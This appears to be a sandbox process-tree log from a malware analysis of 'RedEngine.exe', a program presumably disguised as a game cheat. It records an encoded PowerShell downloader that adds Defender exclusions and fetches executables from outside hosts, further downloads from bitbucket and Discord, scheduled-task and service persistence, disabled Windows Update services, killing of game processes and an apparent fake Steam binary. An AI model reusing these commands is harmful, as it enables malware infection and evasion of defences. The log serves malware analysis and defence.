  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3028 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:4060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  - Modifies registry class
  PID:4608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5256 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:4944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5608 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5732 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:1616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5388 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:4416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5616 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:1368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=1972 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:4132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5268 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5984 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:1
  2⤵
  PID:2248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:4732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4784 --field-trial-handle=1988,i,18237912829850617446,1758701171761193377,131072 /prefetch:8
  2⤵
  PID:2624

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:4232

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4b4 0x4f0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1572

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3560

C:\Users\Admin\Downloads\RedEngine\RedEngine.exe
"C:\Users\Admin\Downloads\RedEngine\RedEngine.exe"
1⤵
PID:912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3744
- - C:\Users\Admin\AppData\Roaming\sebxspm5.emd0.exe
    "C:\Users\Admin\AppData\Roaming\sebxspm5.emd0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2260
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FAC3.tmp\FAC4.tmp\FAC5.bat C:\Users\Admin\AppData\Roaming\sebxspm5.emd0.exe"
      4⤵
      PID:1440
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:1960
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3756
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4740
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2932
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:1620
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Creates scheduled task(s)
        
        PID:4884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:2576
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:1548
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:4764
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:924
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/lemon.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1172
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7912
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:7864
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:7340
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7204
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:1568
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:8036
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7408
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:7616
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:7932
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6848
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:7600
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:8148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:8172
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:544
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:8044
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1384
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:8152
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:7756
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7596
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:868
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:6500
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:5480
- - C:\Users\Admin\AppData\Roaming\sebxspm5.emd1.exe
    "C:\Users\Admin\AppData\Roaming\sebxspm5.emd1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2936
- - C:\Users\Admin\AppData\Roaming\sebxspm5.emd2.exe
    "C:\Users\Admin\AppData\Roaming\sebxspm5.emd2.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    PID:628
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:5544
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:5840
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:5504
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5804
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:5836
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:4316
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:5268
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:5132
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:6128
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:4796
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:2040
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4736
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:5740
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "AAWUFTXN"
      4⤵
      Launches sc.exe
      PID:4056
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:5672
- - C:\Users\Admin\AppData\Roaming\sebxspm5.emd3.exe
    "C:\Users\Admin\AppData\Roaming\sebxspm5.emd3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2004
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FB6F.tmp\FB70.tmp\FB71.bat C:\Users\Admin\AppData\Roaming\sebxspm5.emd3.exe"
      4⤵
      PID:4648
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:3208
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4860
    - - C:\Windows\system32\msiexec.exe
        
        msiexec /i nodejs-installer.msi /quiet
        5⤵
        
        PID:5168
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249192949389201463/1249192988895350794/index.js?ex=666da961&is=666c57e1&hm=18936ed8d9532b88193b485814d4fae2181305431d8e870870aab77fc153e162&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7780
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
        5⤵
        Creates scheduled task(s)
        
        PID:6956

C:\Users\Admin\Downloads\RedEngine\RedEngine.exe
"C:\Users\Admin\Downloads\RedEngine\RedEngine.exe"
1⤵
PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3908
- - C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh0.exe
    "C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:444
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\11F4.tmp\11F5.tmp\11F6.bat C:\Users\Admin\AppData\Roaming\yqw0ekta.jmh0.exe"
      4⤵
      PID:5084
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:4360
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4308
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3740
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:800
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:4948
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:3484
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:1360
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:4712
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:3316
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4816
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:448
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:3248
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2420
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:2888
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:4796
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1472
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:4760
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:840
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4740
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:4448
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:2576
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4360
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:2092
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:4348
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:3588
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:2644
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:2340
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4988
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:1616
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:2596
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:1620
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:512
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:3296
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:2020
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:5044
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:2576
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2384
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3252
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4476
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2888
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4984
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3136
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1412
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4532
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1124
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1852
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2596
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4060
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4532
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4796
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
